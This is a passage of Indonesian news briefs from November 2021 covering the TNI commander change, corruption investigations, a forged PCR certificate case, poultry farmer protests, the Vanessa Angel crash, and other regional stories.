dia, Komisi I DPR RI akan menyambut baik kalau pemerintah mau merevisi UU TNI, khususnya untuk mengubah masa jabatan Panglima TNI. Dia menilai meskipun revisi UU TNI tidak masuk dalam Program Legislasi Nasional (Prolegnas) Prioritas 2021, namun bisa dibicarakan secara teknis dengan DPR RI sehingga bisa dilakukan dalam beberapa bulan ke depan. (sws, ant)

Ketua DPD: Perombakan Kabinet Jangan Didasari Kepentingan Politik

Jakarta, FNN - Ketua DPD, AA LaNyalla Mahmud Mattalitti, turut menanggapi kabar perombakan kabinet yang mencuat menjelang pergantian panglima TNI, dan berharap perombakan kabinet diarahkan untuk semakin meningkatkan kinerja pemerintah, bukan hanya sekadar mengakomodasi kepentingan politik. "Perombakan (kabinet) itu kewenangan presiden. Silakan saja jika ingin dilakukan, tetapi saya berpesan orientasinya adalah untuk meningkatkan kinerja dan pelayanan kepada rakyat," kata dia, di Jakarta, Senin. Wakil rakyat asal Jawa Timur itu berharap siapapun yang masuk dalam lingkar kabinet dapat memperkuat kinerja pemerintah, utamanya dalam penanganan Covid-19 dan pemulihan ekonomi pascapandemi. Ia meminta seluruh menteri tetap bekerja dengan maksimal, tak perlu terpengaruh kabar itu. "Tentu kita berharap isu perombakan kabinet tidak perlu mempengaruhi kinerja pemerintah. Dan siapapun yang akan menduduki kursi kabinet dapat memperkuat kinerja meningkatkan pelayanan dan mewujudkan tata kelola pemerintahan yang baik," kata dia. Ia mengatakan ada banyak pekerjaan rumah yang mesti diselesaikan dengan segera. Salah satunya isu ekonomi yang belum sepenuhnya pulih. "Kita masih punya banyak PR yang harus diselesaikan karena ekonomi belum pulih sepenuhnya. Masyarakat masih merasakan sulitnya membangun usaha yang terdampak Covid-19 dan hal ini harus menjadi konsentrasi pemerintah saat ini," kata dia. Kabar perombakan Kabinet Indonesia Maju semakin mengemuka jelang pergantian panglima TNI dalam waktu dekat ini, yang juga menyebut-nyebut bahwa Marsekal TNI Hadi Tjahjanto yang kini masih menjabat panglima TNI ini disebut sebut bakal masuk dalam jajaran kabinet. Kepala Staf TNI AD, Jenderal TNI Andika Perkasa, telah disetujui Komisi I DPR dan pleno sidang DPR untuk menjadi calon panglima TNI sesuai usulan Presiden Joko Widodo. Perkasa akan menggantikan Tjahjanto yang pada 8 November ini berusia 58 tahun, usia pensiun perwira aktif TNI walau masih berdinas aktif hingga hari pelantikan panglima baru TNI sekaligus pemberhentiannya dengan hormat, diikuti serah-terima jabatannya. (sws, ant)

Kejagung Tetapkan Mantan Dirut Operasional Askrindo Tersangka

Jakarta, FNN - Tim Penyidik Kejaksaan Agung menetapkan mantan Direktur Operasional PT Askrindo Anton Fadjar Siregar (AFS) sebagai tersangka kasus dugaan korupsi dalam pengelolaan keuangan PT Askrindo Mitra Utama (AMU) periode 2016-2020, Senin. Kepala Pusat Penerangan Hukum (Kapuspenkum) Kejaksaan Agung Leonard Eben Ezer Simanjuntak mengatakan dalam perkara ini Anton berperan meminta dan menerima bagian dari "share" komisi yang tidak sah dari PT AMU. "Peranan AFS, meminta dan menerima bagian dari "share" komisi yang tidak sah dari PT AMU," kata Leonard di Gedung Bundar. Leonard menjelaskan sebelum menetapkan tersangka, penyidik memanggil lima orang untuk diperiksa hari ini (Senin), salah satunya ditetapkan sebagai tersangka. Selain menjabat sebagai mantan Direktur Operasional Askrindo, Anton juga menjabat sebagai Komisaris PT AMU. Dia menjelaskan perkara ini berlangsung dalam kurun waktu 2016 sampai 2020. Terdapat pengeluaran komisi agen dari PT Askrindo kepada PT AMU (anak usaha Askrindo) secara tidak sah. Pengeluaran komisi itu dilakukan dengan cara mengalihkan produksi langsung PT Askrindo menjadi seolah-olah produksi tidak langsung melalui PT AMU. "Kemudian sebagian di antaranya dikeluarkan kembali ke oknum PT Askrindo secara tunai seolah-olah sebagai beban operasional tanpa didukung oleh bukti pertanggungjawaban atau dilengkapi bukti pertanggungjawaban itu secara fiktif sehingga menimbulkan kerugian negara," kata Leonard. Dalam perkara ini, lanjut Leonard, Penyidik Jaksa Agung Muda Tindak Pidana Khusus mengamankan dan menyita barang bukti uang "share" komisi dari brankas sebesar Rp611 juta, 762.900 dolar AS, dan 32.000 dolar AS. Untuk keperluan penyidikan dan mempercepat proses perkara, maka penyidik melakukan penahanan terhadap tersangka selama 20 hari. Anton ditahan di Rutan Salemba Cabang Kejaksaan Negeri Jakarta Selatan. Terkait kerugian negara yang ditimbulkan dalam perkara ini, Loenard mengatakan masih dilakukan audit oleh Badan Pengawasan Keuangan dan Pembangunan (BPKP). "Saat ini penyidik masih menghitung kerugian negara di BPKP," kata Leonard. Dengan ditetapkannya Anton sebagai tersangka, maka menambah jumlah tersangka korupsi PT AMU menjadi tiga orang. Pada tanggal 27 Oktober 2021, penyidik menetapkan dua tersangka, yakni Wahyu Wisambodo, selaku mantan karyawan PT AMU dan mantan Direktur Pemasaran PT AMU, Firman Berahima selaku mantan Karyawan PT Askrindo dan Mantan Direktur Kepatuhan dan SDM PT Askrindo. Penyidik Kejaksaan Agung menerapkan Pasal 2 ayat (1) Jo. Pasal 18 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Perubahan Atas Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi Jo. Pasal 55 ayat (1) ke-1 KUHP. Subsider Pasal 3 Jo. Pasal 18 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Perubahan Atas Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi Jo. Pasal 55 ayat (1) ke-1 KUHP. (sws, ant)

Polresta Mataram Ungkap Dugaan Pemalsuan RT-PCR

Mataram, FNN - Anggota Satuan Reserse Kriminal Kepolisian Resor Kota Mataram, Nusa Tenggara Barat, mengungkap adanya dugaan pemalsuan surat hasil tes "real time polymerase chain reaction" (RT-PCR). Kasat Reskrim Polresta Mataram Kompol Kadek Adi Budi Astawa di Mataram, Senin, mengatakan kasus dugaan pemalsuan RT-PCR yang menjadi syarat kelengkapan perjalanan menggunakan maskapai penerbangan itu berawal dari temuan petugas di Bandara Internasional Zainuddin Abdul Madjid (BIZAM). "Dari pemeriksaan, surat hasil swab (tes usap) PCR milik 11 penumpang terbaca invalid oleh aplikasi PeduliLindungi," kata Kadek Adi. Setelah diselidiki, polisi mendapatkan identitas terduga pelaku yang diketahui berstatus sebagai karyawan di salah satu rumah sakit pendidikan di Mataram. Inisialnya NL (26) bertugas pada bagian administrasi. "Jadi sebagian penumpang dites usap, sebagian tidak, tetapi dibuatkan hasil negatif. Jadi surat hasil tes yang dikeluarkan tidak berdasarkan hasil yang sebenarnya," ucap dia. Dari pemeriksaan, NL mengakui perbuatannya karena ada permintaan teman berinisial BN. Kepada NL, BN meminta untuk melakukan segera tes usap PCR kepada 16 rekannya yang hendak pulang ke Jawa Barat melalui rute penerbangan Jakarta. Alhasil karena diminta untuk segera membuatkan hasil tes usap PCR, NL kemudian menggunakan modus cetak tanpa melalui prosedur yang benar. "Jadi dari sekian orang, ada yang tidak melalui proses registrasi dan pengambilan sampel, tetapi tetap mendapatkan surat hasil," ucarnya. Dari pemeriksaan tes usap PCR yang kejadiannya pada bulan September 2021 itu, NL menerima pengiriman uang sebanyak Rp8,4 juta dari harga Rp525 ribu per orang. "Pelaku yang merupakan petugas cetak hasil tes usap menerima pembayaran langsung ke rekening pribadinya. Jadi pembayaran tidak masuk ke sistem rumah sakit," kata Kadek Adi. Berdasarkan hasil gelar perkara menyatakan perbuatan NL telah memenuhi unsur pelanggaran pidana Pasal 263 Ayat 1 Sub Pasal 268 Ayat 1 KUHP tentang Pemalsuan Surat. Karenanya, NL kini ditetapkan sebagai tersangka yang terancam pidana penjara paling lama enam tahun. Sebagai tersangka, polisi menguatkan sangkaan NL dengan menyita barang bukti berupa 11 lembar surat keterangan hasil tes usap PCR palsu, 11 lembar rekam medis, surat keterangan tes usap PCR asli, kuitansi pembayaran, dan uang tunai Rp8,4 juta. "Dari bukti yang ada, dia melakukan (pidana) ini sendiri," ujarnya. (sws, ant)

Peternak Tuntut Menteri Pertanian Mundur

Jakarta, FNN.co.id -- Peternak mandiri yang tergabung dalam Paguyuban Peternak Rakyat Nusantara ( PPRN ) menggelar aksi damai di Kantor Ombudsman Jakarta, Senin (8/11). Aksi yang digelar bersama Mahasiswa BEM FAPET ( Fakultas Peternakan ) UNPAD itu, meminta Ombudsman untuk menegur dan memanggil Kementerian Pertanian ( Kementan ) dan Kementerian Perdagangan ( Kemendag ). Kedua kementerian tersebut belum menjalankan hasil dari Pakta Integritas yang ditandatangani pada aksi demonstrasi sebelumnya yakni pada 11 Oktober 2021. Ketua PPRN Alvino Antonio mengungkapkan, pihaknya menuntut Kementan dan Kemendag untuk mengimplementasikan Pakta Integritas yang telah disetujui dan ditandatangani bersama perwakilan Mahasiswa, yakni BEM Fapet UNPAD, BEM UI, BEM FAPET UNSOED dan persatuan BEM SI. “Di situ (Pakta Integritas) tertulis Kementan Berkomitmen 10 X 24 jam membentuk tim investigasi pencari fakta, dan tidak ada kejelasannya. Kementan dan Kemendag bahkan belum menjalankan 4 arahan Presiden Jokowi untuk membereskan seluruh persoalan perunggasan,” ujar Alvino di Gedung Ombudsman Jakarta, Senin (8/11/2021 ). Alvino menambahkan, Kementan juga belum menertibkan perusahaan integrator yang hingga saat ini masih terus melakukan budidaya. “Kami juga mendesak Mentan dan Dirjen mundur dari jabatannya. Karena tidak mampu menyelesaikan masalah perunggasan, harga pakan tinggi dan DOC (daily old chicken) tinggi, harga jual jatuh. Mentan dan Dirjen tidak bisa tegas dan ambil sikap terhadap integrator. Tidak melindungi kami, peternak broiler dan layer Mandiri yang sudah sekarat dan tidak berdaya karena hutang yang menumpuk,” imbuh Alvino. Alvino menjelaskan, pihaknya tidak akan mundur dan akan terus melakukan aksi sampai tuntutan Peternak Mandiri dipenuhi Pemerintah. Alvino juga mendesak Pemerintah untuk membuat Peraturan Presiden yang melindungi peternak mandiri, sesuai amanat UU No.18/2009 Tentang Peternakan dan Kesehatan Hewan pasal 33. Peternak rakyat mandiri sebagai anak kandung negeri ini seharusnya dilindungi negara. Akibat disahkannya UU No. 18 Tahun 2009 tentang Peternakan dan Kesehatan Hewan, peternak rakyat jadi hancur. Kata Alvino, UU tersebut melegitimasi kuasa penuh untuk korporasi atau perusahaan integrasi yang kemudian memonopoli sektor perunggasan nasional dari hulu sampai hilir. "Kenyataan ini mengindikasikan bahwa aktor pemberangusan keadilan dalam prinsip ekonomi Pancasila yang tertuang dalam UUD 1945 tidak hanya datang dari bangsa luar, tapi juga datang dari negara itu sendiri," pungkas Alvino. (TG)

Polda Jatim Libatkan Ahli Dalami Peristiwa Kecelakaan Vanessa Angel

Surabaya, FNN) - Kepolisian Daerah Jawa Timur melibatkan tim ahli untuk mendalami peristiwa kecelakaan mobil yang ditumpangi Vanessa Angel di ruas Tol Jombang-Mojokerto. Direktur Lalu Lintas Polda Jatim Kombes Pol. Latif Usman di Surabaya, Senin, mengatakan bahwa pihaknya bersama ahli akan menganalisis hasil interogasi dan bukti lain dalam peristiwa tersebut. "Yang sudah kami dapatkan bahwa pengemudi dinyatakan negatif oleh Ditnarkoba Polda Jatim. Itu menjadi suatu acuan," ujarnya. Untuk penyelidikan lebih lanjut terkait dengan penyebab kecelakaan, kata dia, tentunya dari tim penyidik yang akan mendalami. Kombes Pol. Latif mengakui bahwa pihaknya telah mendapat banyak informasi, salah satunya mengenai status media sosial milik sopir Tubagus Muhammad Joddy Prames Setya. "Karena kalau yang kami ketahui bahwa ini suatu hilangnya konsentrasi pengemudi. Hilangnya ini akan kami gali, dari hasil olah TKP yang sudah dilakukan. Kami akan membantu penuh apa yang dilakukan penyidik dari jajaran Polres Satlantas Jombang," katanya. Ia menegaskan bahwa komitmennya dalam menuntaskan peristiwa yang merenggut nyawa dari Vanessa Angel dan suaminya itu. "Kami akan melaksanakan tugas kami sebaik mungkin," tuturnya. Sementara itu, Kabid Propam Polda Jatim Kombes Pol. Taufik Herdiansyah Zeinardi menegaskan bahwa pihaknya akan mengawasi penyidikan kecelakaan tersebut. "Kami bersama dengan Ditlantas menjaga agar penyidikan ini tidak ada kesalahan, baik itu prosedural maupun hal teknis lainnya," katanya. Lebih lanjut, perwira menengah Polri dengan tiga melati emas itu juga menekankan kalau Propam Polda Jatim tak sekadar mengawasi saja, tetapi ikut mengawal secara profesional sampai kasus ini dilimpahkan ke kejaksaan. Seperti diwartakan sebelumnya, mobil berwarna putih dengan nomor polisi B-1284-BJU yang ditumpangi Vanessa Angel dan suaminya, Febri Andriansyah, mengalami kecelakaan tunggal di Tol Jombang-Mojokerto KM 672 300/A, Kamis (4/11) pukul 12.36 WIB. Dugaan sementara kecelakaan terjadi karena faktor kelelahan sopir. Mobil yang diduga melaju kencang itu kemudian oleng ke kiri menabrak pembatas jalan terbuat dari beton hingga membuat mobil terlempar sejauh 30 meter. Dari kejadian tersebut, dua orang yang dinyatakan meninggal dunia, yakni Vanessa Angel bersama suaminya. Tiga korban lainnya selamat dan mengalami luka-luka, yaitu sopir, asisten rumah tangga, dan anak Vanessa. (mth)

Polisi Jelaskan Kronologis Ledakan di Rumah Keluarga Veronica Koman

Jakarta, 08/11 (ANTARA) - Kepala Satuan Reskrim Polres Metro Jakarta Barat Kompol Joko Dwi Harsono menjelaskan kronologis ledakan di sekitar rumah orang tua aktivis Veronica Koman di kawasan Tanjung Duren. Peristiwa yang terjadi pada Minggu (8/11) lalu itu bermula ketika pemilik rumah sedang mencuci mobil di halaman. "Kemudian selesai mencuci mobil dia dengan pembantunya masuk ke dalam rumah," kata Joko saat dikonfirmasi di Jakarta, Senin. Kemudian sekitar pukul 11.00 siang, pembantu mendengar suara ledakan persis dari depan rumah orang tua Veronica Koman. Setelah mendengar ledakan tersebut, pihak rumah langsung menelepon Polres Metro Jakarta Barat dan melaporkan peristiwa tersebut. Polisi yang datang ke lokasi pun langsung melakukan olah tempat kejadian perkara (TKP). Saat menyambangi rumah korban, polisi mendapati beberapa barang bukti berupa serpihan kertas, plastik dengan bekas cat berwarna merah dan kabel yang diduga berasal dari benda yang meledak. Tidak hanya itu, polisi juga sempat memeriksa beberapa saksi di sekitar lokasi rumah guna memperoleh informasi lebih detail. "Saat ini juga masih berlangsung karena banyak sekali yang harus kita analisa," ujar Joko. Joko belum bisa mengungkap aktor dibalik aksi teror ledakan tersebut. Saat ini pihaknya masih menunggu hasil Pusat Laboratorium Forensik Mabes Polri terkait pemeriksaan barang bekas ledakan yang ditemukan di TKP. "Ini masih dikerjakan oleh Puslabfor terkait bahan apa sih yang dijadikan bahan peledak. Nanti kalau sudah keluar kita update," ungkap Joko. (mth)

Kontingen Renang Kalsel Boyong Tiga Medali Emas di Peparnas Papua

Banjarmasin, FNN - Cabang olahraga renang National Paralympic Commite (NPC) Provinsi Kalimantan Selatan mengawali pertandingan dengan manis, yakni langsung meraih tiga medali emas di Pekan Paralympic Nasional (Peparnas) XVI tahun 2021 di Provinsi Papua, Senin. Menurut pelatih renang NPC Kalsel Zuhriannor atau lebih akrab disapa Ateng, kontingen renang Kalsel pada pertandingan awal ini meraih total tujuh medali, dengan rincian tiga medali emas, satu medali perak dan tiga medali perunggu. Atlet-atlet yang meraih medali emas adalah M Tauhidi Fatahillah klasifikasi S14 pada nomor gaya bebas 100 meter dan Norlatifah klasifikasi S9 pada nomor gaya punggung putri 50 meter. "Medali emas ketiga diraih M Fajar Rianur klasifikasi S8 pada nomor gaya punggung putra 50 meter," ujar Ateng saat dihubungi Antara di Papua, Senin. Sementara peraih medali perak, yakni Norlatifah klasifikasi S9 pada nomor gaya bebas 100 meter. Medali perunggu, sambung dia, diraih oleh Fitriah klasifikasi S9 pada nomor gaya bebas 100 meter, Mahdian Saputra klasifikasi S9 pada nomor gaya punggung putra 50 meter dan Saudah klasifikasi S8 pada nomor gaya dada putri 50 meter. "Kita bersyukur para atlet kita sudah berjuang dengan baik pada hari pertama dipertandingkan cabang olahraga renang ini. Kita upayakan selanjutnya akan lebih banyak medali lagi," tutur Ateng. Ia menegaskan masih ada lima hari pertandingan renang pada Peparnas Papua yang digelar di Lukas Enembe Aquatic Stadium, Kabupaten Jayapura. Sementara itu, ada 25 atlet renang Kalbar yang berpartisipasi dengan target 20 medali emas. "Jadi, kita bertekad untuk melebihi raihan medali emas pada Peparnas lalu, yang sebanyak 16 medali emas," ungkap Ateng. (mth)

KPK Periksa Enam Pejabat Terkait Dugaan Korupsi Cukai Rokok FTZ

Tanjungpinang, FNN - Komisi Pemberantasan Korupsi (KPK) kembali menjadwalkan pemeriksaan enam pejabat daerah terkait kasus dugaan korupsi cukai rokok dan minuman beralkohol dengan tersangka Bupati Bintan nonaktif Apri Sujadi. Pelaksana Tugas Juru Bicara KPK Ali Fikri melalui pesan WhatsApp, yang diterima di Tanjungpinang, Senin, mengatakan saksi-saksi yang dijadwalkan untuk diperiksa hari ini di Mapolres Tanjungpinang itu, sudah berulang kali diperiksa penyidik KPK. "Penyidik mendalami pengetahuan para saksi terhadap informasi dan data yang diperoleh," katanya. Ia membeberkan, enam pejabat yang diperiksa sebagai saksi itu, yakni Alfeni Harmi, Staf Badan Pengusahaan Perdagangan Bebas dan Pelabuhan Bebas (Free Trade Zone/FTZ) Bintan yang juga Kepala Bidang Penyelenggaraan Pelayanan Perizinan Dinas Penanaman Modal Pelayanan Satu Pintu Bintan. Kemudian, Mardiah, mantan Kepala Badan Pengusahaan FTZ Bintan (2011-2016) yang saat ini menjabat sebagai Kepala Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk, dan Keluarga Berencana (DP3KB) Bintan. Selain itu, penyidik KPK juga memeriksa Risteuli Napitupulu, Anggota Bidang Perdagangan dan Penanaman Modal BP Bintan, dan Edi Pribadi, Kepala Dinas Perpustakaan dan Arsip Daerah Bintan yang juga Anggota 2 Bidang Pelayanan Terpadu BP Bintan Tahun 2011-2013/Wakil Kepala BP Bintan Tahun 2013-2016. KPK juga menjadwalkan pemeriksaan dilakukan terhadap Radif Anandra, Anggota 4 Bidang Pengawasan dan Pengendalian BP Bintan (2016-sekarang), dan Muhamad Hendri, Sekretaris DPRD Bintan yang juga mantan Anggota 2 BP FTZ Bintan. Berdasarkan data, Muhamad Hendri meninggal dunia pada 26 Juni 2021 atau belum lama setelah diperiksa penyidik KPK di Polres Tanjungpinang. Hendri meninggal dunia karena terinfeksi COVID-19. Ketika disinggung soal jadwal pemeriksaan Hendri yang sudah meninggal dunia itu, Ali Fikri tidak meresponsnya. Ali juga tidak merespons apakah ada tersangka baru dalam kasus dugaan korupsi cukai rokok FTZ tersebut. KPK telah menetapkan Bupati Bintan nonaktif Apri Sujadi, dan Kepala BP FTZ Bintan Muhamad Saleh Umar sebagai tersangka dalam kasus itu. Berdasarkan pantauan, lima saksi diperiksa di Satreskrim Polres Tanjungpinang sejak tadi pagi. (mth)

Gubernur Sebut Koperasi dan UMKM Bagian Ketahanan Ekonomi di Kalteng

Palangka Raya, FNN - Gubernur Kalimantan Tengah Sugianto Sabran tak hanya fokus memperkuat sektor kesehatan maupun pangan di masa pandemi COVID-19, namun juga memulihkan ekonomi melalui penguatan koperasi dan usaha mikro, kecil dan menengah. "Koperasi dan UMKM harus dikembangkan dengan baik, sebab koperasi maupun UMKM ini merupakan bagian dari ketahanan ekonomi yang sangat mendasar," katanya dalam keterangan pers yang diterima di Palangka Raya, Senin. Sektor Koperasi dan UMKM yang merupakan gerakan ekonomi kerakyatan, harus mampu bertahan bahkan dikembangkan di tengah pandemi, sebab sesungguhnya koperasi merupakan sokuguru atau perekonomian rakyat. Saat ini Kalteng memiliki 3.410 unit koperasi dengan jumlah anggota 433.968 orang. Jumlah tersebut meningkat dari semula sebanyak 3.328 unit koperasi pada 2020 lalu. Pentingnya keberadaan koperasi, salah satunya sebagai badan usaha yang dapat menaungi para pelaku UMKM. "Keduanya saling berkaitan menjadi pemacu yang dapat mendorong peningkatan perekonomian," terangnya. Pengembangan koperasi maupun UMKM menjadi perhatian khusus Pemerintah Provinsi Kalimantan Tengah sebagaimana tertuang dalam misi ke satu Pembangunan Daerah Kalimantan Tengah 2021-2026, yakni mempercepat pembangunan ekonomi yang produktif, kreatif dan berwawasan lingkungan. Kemudian gubernur dua periode ini menjelaskan, Kalteng memiliki sumber daya alam luar biasa, hanya saja belum berbanding lurus dengan pengelolaan yang optimal dan membuat hasilnya belum maksimal. Menurutnya salah satu kendalanya selama ini yang membuat hasil produksi UMKM belum optimal dalam menembus pasar ekspor, diantaranya karena kemampuan dan keterampilan SDM yang belum memadai. “Koperasi maupun UMKM harus mampu bersaing dan produk UMKM harus mampu menembus pasar ekspor, tapi kita harus ciptakan SDM yang handal, SDM yang benar-benar menguasai pengolahan dan produksi, hingga memahami seluk beluk pemasaran," tegasnya. Sugianto pun telah meminta dinas teknis terkait berkoordinasi kepada Kementerian Koperasi dan UKM untuk memperkuat penyelenggaraan pelatihan-pelatihan teknis yang selama ini sudah berjalan dengan baik, namun diharapkan bisa terus ditingkatkan. (mth)

Polda Jabar Siap Hadapi Praperadilan Pinjol Ilegal

Bandung, FNN - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Jawa Barat menyatakan siap menghadapi tersangka kasus pinjaman online (pinjol) ilegal di Yogyakarta yang mengajukan gugatan praperadilan. Direktur Reserse Kriminal Khusus Polda Jawa Barat Kombes Pol Arief Rachman mengatakan praperadilan memang sudah diatur dalam KUHAP dan merupakan hak hukum bagi para tersangka sehingga tak mempermasalahkan adanya gugatan praperadilan tersebut. "Kami akan menghadapinya sesuai SOP dan kami tentunya mohon doa dan dukungan dari seluruh masyarakat agar kami dapat menuntaskan kasus ini sampai tuntas," kata Arief di Bandung, Senin. Meski begitu, ia memastikan penetapan tersangka yang dilakukan itu telah berdasarkan standar yang berlaku. Karena penyidik, menurutnya, menetapkan tersangka sesuai dengan bukti yang didapat. "Tentunya sudah melalui proses sesuai SOP dengan didukung dua alat bukti yang kuat," kata dia. Adapun tersangka yang mengajukan gugatan praperadilan, yakni tersangka berinisial AZ. Dalam rilisnya, Polda Jawa Barat menyebut bahwa AZ merupakan HRD dari perusahaan pinjol tersebut. Pengajuan gugatan praperadilan itu telah terdaftar di PN Bandung dengan Nomor Perkara 15/Pid.Pra/2021/PN Bdg dengan termohon Subdit V Diskrimsus Polda Jabar. Sejauh ini diketahui baru seorang tersangka berinisial AZ tersebut yang mengajukan praperadilan, sedangkan tujuh tersangka lainnya tidak mengajukan atau belum. (mth)

KPK Limpahkan Berkas Perkara Terdakwa Suap Jabatan Pemkab Probolinggo

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) melimpahkan berkas perkara terdakwa Sumarto yang merupakan Aparatur Sipil Negara (ASN) Pemkab Probolinggo ke Pengadilan Tindak Pidana Korupsi (Tipikor) Surabaya, Senin. Sumarto merupakan pemberi suap dalam perkara seleksi jabatan di lingkungan Pemkab Probolinggo, Jawa Timur Tahun 2021 yang menjerat Bupati Probolinggo nonaktif Puput Tantriana Sari dan kawan-kawan. "Hari ini, tim jaksa melimpahkan satu berkas perkara beserta surat dakwaan dengan terdakwa Sumarto ke Pengadilan Tipikor Surabaya," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta. Ia mengatakan penahanan terdakwa Sumarto telah menjadi kewenangan pengadilan tipikor. Selanjutnya, tim jaksa menunggu penetapan penunjukan Majelis Hakim dan penetapan hari sidang dengan agenda pembacaan surat dakwaan. "Terdakwa didakwa dengan dakwaan, pertama Pasal 5 ayat (1) UU Tipikor jo Pasal 55 ayat (1) ke-1 KUHP atau kedua Pasal 13 UU Tipkor jo Pasal 55 ayat (1) ke-1 KUHP," ucap Ali. Ali mengatakan untuk para terdakwa lainnya dalam perkara tersebut akan segera dilimpahkan juga berkas perkaranya ke Pengadilan Tipikor Surabaya. Selain itu, ia juga menginformasikan tim jaksa KPK telah memindah penahanan Sumarto bersama 17 terdakwa lainnya dalam rangka persiapan pelimpahan berkas perkara ke Pengadilan Tipikor Surabaya. Tujuh belas terdakwa tersebut juga ASN Pemkab Probolinggo yang merupakan pemberi suap. Proses pemindahanan para tahanan tersebut dilaksanakan menggunakan satu unit bus dengan waktu pemberangkatan dari Jakarta pada Minggu (7/11) sekitar pukul 21.00 WIB dan tiba di Surabaya pada Senin (8/11) sekitar pukul 07.00 WIB. "Selama proses perjalanan dilakukan pengawalan ketat oleh petugas pengawal tahanan KPK bersama dengan aparat kepolisian," kata dia. Ali mengatakan para tahanan tersebut dititipkan di dua rutan yang berbeda. 14 tahanan dititipkan di Rutan Kejati Surabaya, yaitu Sumarto, Maliha, Sugito, Ali Wafa, Mawardi, Mashudi, Ko'im, Abdul Wafi, Masruhen, M Bambang, Ahmad Saifulloh, Nurul Hadi, Jaelani, Uhar. Sedangkan empat tahanan lainnya dititipkan di Rutan Medaeng, yakni Samsudin, Hasan, Nurul Huda, dan Sahir. KPK total menetapkan 22 tersangka terkait perkara seleksi jabatan tersebut. Empat tersangka lainnya yang merupakan penerima suap, yaitu Puput Tantriana Sari (PTS), Hasan Aminuddin (HA) yang merupakan suami Puput dan juga pernah menjabat sebagai Bupati Probolinggo, Doddy Kurniawan (DK) selaku Aparatur Sipil Negara (ASN)/Camat Krejengan, Kabupaten Probolinggo, dan Muhammad Ridwan (MR) selaku ASN/Camat Paiton, Kabupaten Probolinggo. Adapun konstruksi perkaranya, KPK menjelaskan bahwa pemilihan kepala desa serentak tahap II di wilayah Kabupaten Probolinggo yang awalnya diagendakan pada 27 Desember 2021 mengalami pengunduran jadwal. Adapun terhitung 9 September 2021 terdapat 252 kepala desa dari 24 kecamatan di Kabupaten Probolinggo yang selesai menjabat. Untuk mengisi kekosongan jabatan kepala desa tersebut maka akan diisi oleh penjabat (Pj) kepala desa (kades) yang berasal dari para ASN di Pemkab Probolinggo dan untuk pengusulannya dilakukan melalui camat. KPK menyebut ada persyaratan khusus di mana usulan nama para Pj kades harus mendapatkan persetujuan Hasan yang juga suami Puput dalam bentuk paraf pada nota dinas pengusulan nama sebagai representasi dari Puput dan para calon Pj kades juga diwajibkan memberikan dan menyetorkan sejumlah uang. Adapun tarif untuk menjadi Pj kades di Kabupaten Probolinggo sebesar Rp20 juta per orang ditambah dalam bentuk upeti penyewaan tanah kas desa dengan tarif Rp5 juta per hektare. Setelah ditemukan bukti permulaan yang cukup, KPK juga menetapkan Puput Tantriana Sari dan suaminya sebagai tersangka kasus dugaan penerimaan gratifikasi dan TPPU dari pengembangan kasus seleksi jabatan tersebut. (mth)

Kemenkumham Tindak Tegas Petugas Siksa Napi Lapas Narkotika Jogjakarta

Jakarta, FNN - Kementerian Hukum dan Hak Asasi Manusia (Kemenkumham) melalui Kantor Wilayah (Kanwil) Kemenkumham Daerah Istimewa Jogjakarta telah mengambil tindakan tegas terhadap petugas yang diduga melakukan penyiksaan narapidana di Lapas Narkotika Kelas IIA Jogjakarta. "Kanwil Kemenkumham DIJ sudah mengambil tindakan tegas dalam rangka penertiban lapas yang dilakukan petugas dan menurut kami itu berlebihan," kata Kepala Kanwil Kemenkumham Daerah Istimewa Jogjakarta Budi Arga Situngkir saat mengunjungi Kantor Komisi Nasional Hak Asasi Manusia (Komnas HAM) di Jakarta, Senin. Atas insiden dugaan penyiksaan terhadap warga binaan tersebut, Kemenkumham melalui Kanwil Kemenkumham D.I. Jogjakarta langsung menarik dan memproses lima petugas Lapas Narkotika Kelas IIA Jogjakarta yang diduga terlibat dalam kasus itu. Pada kesempatan itu, Budi mengaku bahwa Lapas Narkotika Kelas IIA Yogyakarta merupakan lapas yang paling tertib di Indonesia. "Di sana 100 persen sama sekali tidak ada telepon genggam, tidak ada narkoba, dan tidak ada peredaran uang bahkan narapidana tidak diperbolehkan merokok dalam kamar," kata dia. Namun, dalam proses dan penerapan predikat bersinar yang diberikan oleh Badan Narkotika Nasional (BNN) diduga terjadi kesalahan serta tindakan berlebihan dari lima orang petugas kepada warga binaan. "Kami akan serahkan kepada Komnas HAM dan kami juga melakukan pemeriksaan. Kalau memang ada kesalahan maka akan ditindak," ujarnya. Di satu sisi, lanjut dia, dengan ditariknya lima petugas tersebut maka akan berimbas pada jumlah tenaga pengamanan di Lapas Narkotika Kelas IIA Jogjakarta. (mth)

Buka Art Exhibition Le Musée, LaNyalla Ingatkan Generasi Muda Terus Berkarya

Surabaya, FNN - Sebagai dukungan atas perkembangan industri kreatif di tanah air, Ketua DPD RI AA LaNyalla Mahmud Mattalitti memberikan apresiasi terhadap sekelompok anak muda yang bersemangat menunjukkan karya seni kontemporer mereka dengan membuka Art Exhibition Le Musée di Jalan DR Wahidin Surabaya, Minggu (7/11/2021). Ia mengaku kagum dan merasa bangga, bahwa akhirnya Surabaya memiliki sebuah galeri seni yang bisa menjadi sarana pameran yang bisa didatangi dan banggakan. Bahkan mantan Ketua Kadin Jatim tersebut sempat meneteskan air matanya karena terharu dengan semangat anak-anak tersebut. Ia mengatakan, kegigihan mereka telah mengingatkannya pada masa-masa sulit yang telah ia lalui di masa muda, saat memulai berkarya dengan buka pameran. "Saya sangat mengingat masa muda saya. Saya paling suka bikin pameran. Saat saya berusaha menjadi seorang pengusaha muda, saya lalui pertama kali adalan membuat pameran. Awal bikin pameran, rugi hampir Rp 200 juta. Tetapi saya berpikir saya harus bangkit saya tidak boleh tetap berdiri disini akhrinya saya berhasil sekalipun tidak semudah yang saya bayangkan," ungkap LaNyalla sambil tersedu. Ia yakin semua orang pernah mengalami kerugian atau kesulitan, apalagi di awal memulai karier. Untuk itu, ia berpesan agar 